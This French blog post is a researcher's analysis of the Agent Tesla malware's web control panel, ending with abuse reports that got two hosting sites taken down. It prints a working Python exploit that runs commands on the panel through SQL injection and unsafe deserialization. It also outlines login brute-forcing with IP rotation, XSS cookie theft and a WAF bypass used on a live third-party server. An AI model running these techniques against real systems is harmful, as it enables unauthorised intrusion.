Agent Tesla Remote Command Execution (fighting the WebPanel)

Si la Tesla est une marque de voiture, Agent Tesla est un programme de vol de mots de passe très facile d’utilisation. Ce malware a gagné en popularité en 2018, attirant de nombreux clients qui paient des frais d’abonnement pour acquérir une licence.

Dans un article dédié à Agent Tesla, Krebs explique comment il a « doxé » Mustafa Can ÖZAYDIN, le créateur supposé de Agent Tesla.

Enfin, pour ce qui suit, je préfère décliner toutes responsabilités quant à l’exploitation de mes recherches à des fins malveillantes. Mon objectif est simplement de tenir informé.

Tout commence dès la parution sur le site Exploit-DB de la vulnérabilité RCE dans le CnC de Agent Tesla (veille sécurité oblige), j’ai décidé de monter un petit laboratoire pour tester l’exploitation.

Pour mon lab, je me suis promené sur Internet et j’ai découvert un WebPanel vulnérable dans un « repository » sur github.

Dans l’exploit ci-dessus, nous notons au passage la « disclosure date » qui n’est pas toute récente (10 juillet 2018).

Alors, j’ai travaillé le module indépendant fourni par Ege Balci pour qu’il soit conforme aux conventions afin de pouvoir l’intégrer via la pull request #12277 dans Metasploit-Framework.

Je dois dire que par curiosité, mais surtout suite à une conversation (où l’on me demandait de faire une démonstration, plus précisément, de présenter un cas d’utilisation), j’ai regardé ce que cela pouvait donner dans « la vraie vie ».

Et forcément, c’était peu glorieux … étant donné que le truc date un peu.

Donc, j’ai décidé de partir à la chasse pour trouver d’autres WebPanel d’Agent Tesla un peu plus récents pour étudier la correction de la RCE.

Et pour arranger le tout, à ce stade, je ne suis même pas sûr des sources du WebPanel obtenues précédemment. Et pourtant, il faudra bien faire avec !

Après quelques Google Dork un peu foireuses, j’ai fini par trouver mon bonheur sur CyberCrime-Tracker.

J’ai pu ainsi me balader sur plusieurs CnC à la recherche de WebPanel’s laissés en téléchargement. J’en ai récupéré quelques uns, puis, j’ai éliminé ceux qui semblaient faire doublon pour finalement en retenir trois.

Il sont disponibles ici :

  • WebPanel1 – 2017 – (Unauthenticated RCE), le code source est « obfuscé » par Ioncube ;
  • WebPanel2 – 2018 – (Authenticated RCE), le code source est également « obfuscé » par Ioncube ;
  • WebPanel3 – 2019 – (Authenticated RCE), le code source n’est pas « obfuscé » ;

Exploitation (Unauthenticated RCE)

Pour se placer dans le contexte, la vulnérabilité est localisée dans la page « /WebPanel/server_side/scripts/server_processing.php ».

Nous pouvons remarquer l’horodatage sur le fichier « server_processing.php » en date du 15 août 2017.

Du côté des sources, ci-dessous, un extrait des variables impactées par cette vulnérabilité (elles ne sont pas nettoyées).

Il y a une injection SQL dans la variable « $_GET[‘where’] » et un problème lié à la « déserialisation » d’objets PHP dans la variable « $_GET[‘clmns’] ». Et en mixant les deux vulnérabilités, il est possible de faire exécuter des commandes arbitraires.

 

Diffing WebPanel’s

Comme je l’expliquais un peu plus haut, j’ai récupéré d’autres sources de CnC pour comparer les changements. En me focalisant dans un premier temps sur la vulnérabilité précédente.

Ainsi en comparant WebPanel1 avec WebPanel2, je me rends compte que les seuls changements dans le fichier « server_processing.php », se résument simplement en l’ajout de l’authentification dans la page.

Désormais, seul un utilisateur ayant une session dans le CnC est autorisé à accéder à cette page (mais rien concernant le nettoyage des entrées utilisateurs).

J’ai trouvé ça un peu bizarre alors je me suis dis que cela devait sûrement être fait plus loin dans le code. Mais je n’ai rien trouvé de significatif. Pour le coup, j’y suis allé franchement avec Burpsuite.

J’ai donc reproduit la vulnérabilité précédente et j’obtiens toujours une exécution de codes arbitraires dans le WebPanel2, mais seulement si je suis authentifié.

Si je compare l’horodatage des fichiers entre WebPanel1 et WebPanel2, j’observe que le fichier « server_processing.php » a été modifié le 12 septembre 2018. Soit environ 2 mois après la « disclosure » de la vulnérabilité qui devait sans doute être partagée dans des cercles restreints.

Ensuite, j’ai regardé s’il y avait d’autres changements, j’ai utilisé KDiff3 pour avoir un avant goût … J’ai observé qu’il y avait quelques modifications.

Je m’accorde à penser que WebPanel1 est un millésime 2017 tandis que WebPanel2 serait de 2018. #Horodatage

Enfin, j’ai fait le même travail pour comparer WebPanel2 et WebPanel3.

Cependant, j’ai été surpris d’avoir un code complètement « déobfuscé ». Je n’ai pas plus d’informations concernant ce malware. Alors, je ne sais pas si je suis en présence d’un « leak » du code source ou d’une évolution normale du CnC. Mais passons …

Si je me fie aux horodatages des fichiers, j’aurai tendance à croire que cette version est plus récente que les précédentes (juin / juillet 2019).

Mais surtout, le fichier « server_processing.php » n’a pas changé, c’est le même « patch » foireux.

 

Exploitation (Authenticated RCE)

En somme, les entrées utilisateurs n’étant pas « sanitized », le développeur a transformé une exploitation de commandes à distance non-authentifiée par une exploitation de commandes à distance authentifiée. #WTF

Le PoC suivant m’a permis de tester l’exploitation de la faille dans ce contexte. Avant d’intégrer tout ça (quand j’aurai un moment) dans le module d’exploitation #12277.

#!/usr/bin/env python3

from base64 import b64encode
from requests import get, post, session

username = 'admin'
password = 'password'
hostname =  '172.30.24.21'
command = 'whoami'

s = session()
login_data =  {'Username':username, 'Password':password}
received = s.post('http://' + hostname + '/WebPanel/login.php', login_data)

get_params = {
  'table':'passwords',
  'primary':'password_id',
  'clmns':'a:1:{i:0;a:3:{s:2:"db";s:3:"pwd";s:2:"dt";s:8:"username";s:9:"formatter";s:4:"exec";}}',
  'where': b64encode("1=1 UNION SELECT \"{}\"".format(command).encode('utf-8'))
}

target = 'http://' + hostname + '/WebPanel/server_side/scripts/server_processing.php'
headers = {"User-agent":"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"}

received = s.get(target, params = get_params, headers = headers)
print(received.text)

 

Cas d’utilisation / exploitation

Si par le plus grand des miracles, nous rencontrons un CnC d’Agent Tesla vulnérable à une exécution de commandes arbitraires non authentifiée, il suffira de jouer l’exploit et prendre le contrôle du serveur.

Dans le cas contraire, il faudra obtenir les « crédentials » du CnC pour s’authentifier avant de pouvoir exploiter.

 

Authentication brute-force

Une facon d’obtenir l’accès au CnC est de forcer l’authentification. Ce qui n’est pas forcément évident, mais pas impossible. Toutefois, il faut prendre en considération que nous ne connaissons pas le nom d’utilisateur (c’est le Botmaster qui le choisit lors de l’installation).

Pour faire ce travail, nous pouvons utiliser le mode « Intruder » de Burpsuite (pensez à jouer avec le module IPRotate de Rhino Security Labs pour ne pas être bloqué lors des tests successifs).

 

Voler le cookie du Botmaster par social engineering

En parcourant le code source (celui qui n’est pas « obfuscé »), j’ai trouvé un XSS qui pourrait servir à voler les « biscuits » du Botmaster supposé (en fait, j’ai trouvé plusieurs XSS authentifiés et non authentifiés).

 

Hackback (je plaisante … enfin presque)

Au cours de mes recherches, j’ai trouvé quelques cas intéressants.

Même les suppôts du Christ ne sont pas épargnés (je me suis promis de ne pas trop « troller » mais je vais vous parler de ce cas).

Au passage, à en croire Internet, le site semble être complètement légitime. Ensuite, il est « protégé » par Imperva Incapsula (Web Application Firewall). Ce WAF n’a finalement pas servi à grand chose … puisque ce site héberge un CnC d’Agent Tesla.

En naviguant sur la page impactée par la vulnérabilité dans le CnC, nous pouvons noter qu’elle ne renvoie pas sur une redirection (HTTP-302 vers la page de « login »). Donc, le panel pourrait être vulnérable à de l’injection de commandes arbitraires sans authentification.

Il faut toutefois noter que le CnC hérite de la protection WAF du site en question.

Autrement dit, à ce stade, nous avons deux solutions :

  1. Combattre le WAF (mais je doute que ceci soit autorisé par la loi … en plus le site semble légitime : le nom de domaine a 17 ans d’existence, une chaine Youtube, …)
  2. Bypasser le WAF (beaucoup moins intrusif dans ce contexte)

Compte tenu du fait que la plupart des implémentations WAF/CDN sont foireuses, je prends le pari de la seconde solution. Et puis, ceci me permet de faire un peu de promotion du module cloud_lookup.

Il y a quelques temps, j’ai codé un outil qui permet de détecter les « bypass » sur différents WAF/CDN, j’ai appelé ça cloud_lookup.

J’ai également envoyé la pull request #12234 pour Metasploit-Framework.

Tada … ça fonctionne. Par contre je m’arrête là car le code pénal m’interdit d’aller plus loin (et c’est aussi du bon sens). Mais rien ne nous empêche de faire tomber le site en suivant la voie légale.

Alors, outre le fait d’avoir passé la protection du WAF, puisque je connais désormais la véritable IP du serveur qui héberge le panel de Agent Tesla, je peux sûrement reporter à l’hébergeur (Hostgator) un comportement malveillant.

J’ai pris soin de contacter, dans le doute, les « cacatholiques » pour leur signifier que leur serveur avait un grand besoin de se « conconfesser » (en copie du mail l’hébergeur en date du 21 septembre 2019).

Le 23 septembre 2019, j’ai recu un email de Hostgator me demandant un peu plus de détails, j’ai répondu prestement. Je dois dire qu’à ce moment j’étais envahi par la curiosité.

Quelle réponse pouvait apporter Hostgator à ce signalement ?

Une réponse … radicale (deux heures plus tard).

Je crois que c’est clair. J’aime appeler ceci, une attaque par déni de service légale utilisant pour vecteur le non respect des CGU.

 

Take down exploitsart [.] com

Si vous avez pris connaissance de l’article de Krebs sur agent Tesla, vous aurez appris que l’auteur apparent du logiciel malveillant semble avoir peu fait pour cacher son identité réelle.

Les propriétaires de l’Agent Tesla commercialisaient leur produit sur « agenttesla [dot] com ». Les premières versions de l’Agent Tesla ont été mises à disposition gratuitement via un site WordPress (rédigé en Turc) « agenttesla [dot] wordpress [dot] com ». Mais ces deux sites ont cessés toutes activités.

Après avoir saisi quelques mots clés dans le moteur de recherche Google, j’ai découvert un site qui, visiblement, propose une licence pour Agent Tesla ! (sans rapport avec les sites énoncés précédemment).

Le site « exploitsart [dot] com » propose d’acheter différents produits sous forme de licences (un vrai arsenal) :

  • Agent Tesla (bien sûr, c’est le sujet) ;
  • Des outils d’exploitation pour PDF, XLS et DOC ;
  • Un RAT nommé Warzone ;
  • Un « crypter » Java (fournit une solution de chiffrement de fichiers .jar complet et stable) ;
  • Des 0-Days ;

Si le domaine « exploitsart [dot] com » est « anonymisé » par un Registar Panaméin, le serveur ayant pour adresse IP 176.31.60.250 est hébergé en France (dans les hauts de France) par la société OVH, et ceci a retenu toute mon attention.

Rien que pour ça, j’ai envie de « troller » un truc du genre « Bienvenue chez les Ch’tis ».

Comme je ne suis pas vraiment sûr que l’existence de ce site sur le territoire français soit vraiment légale, j’ai « trollé » la question à l’hebergeur OVH via ses comptes Twitter.

J’avoue que je n’ai pas pensé tout de suite à un Scam mais il faut reconnaître qu’en regardant d’un peu plus près, ça y ressemble fortement (cf. un post sur Linked’in).

Quoi qu’il en soit, j’ai décidé de suivre les recommandations du support OVH pour faire un signalement, rien que pour observer le temps de réaction.

  • Troll sur Twitter le 17 septembre 2019 ;
  • Réponse le 19 septembre 2019 sur Twitter ;

  • Signalement d’abus et de contenus illicites le 19 septembre 2019 ;
  • Visite du site le 21 septembre 2019 pour constater le « take down » ;

 

Conclusion

A propos de Agent Tesla, je n’ai pas regardé en profondeur le code source non « obfuscé », mais, je ne serais pas étonné d’apprendre qu’il y ait d’autres choses à découvrir dans le CnC d’Agent Tesla.

Au regard de la façon dont a été « fixée » la RCE (qui n’est pas vraiment corrigée) et de la lecture rapide du code qui ne laisse pas transparaître sufisamment de filtrages sur les entrées utilisateurs.

Je rencontre souvent des sites légitimes avec un CnC déposé par une personne mal intentionnée (en fait, la plupart du temps ce sont des relais que je trouve dans ce contexte).

Mal protégé, votre site Internet vous expose à ce genre de pratique.

D’une part, quelqu’un pourrait se loger chez vous sans que vous en soyez au courant, ce qui sous entend que vous êtes vulnérables à quelque chose (ou alors vous laissez la porte grande ouverte volontairement).

D’autre part, cela pourrait vous exposer encore un peu plus, comme nous venons de le démontrer précédemment avec le CnC d’Agent Tesla qui introduit une vulnérabilité supplémentaire.

Ou tout simplement le « take down » de votre site Web par votre propre hébergeur, puisque vous ne respectez pas/plus les CGU.

 

Ce contenu a été publié dans Malwares, Press. Vous pouvez le mettre en favoris avec ce permalien.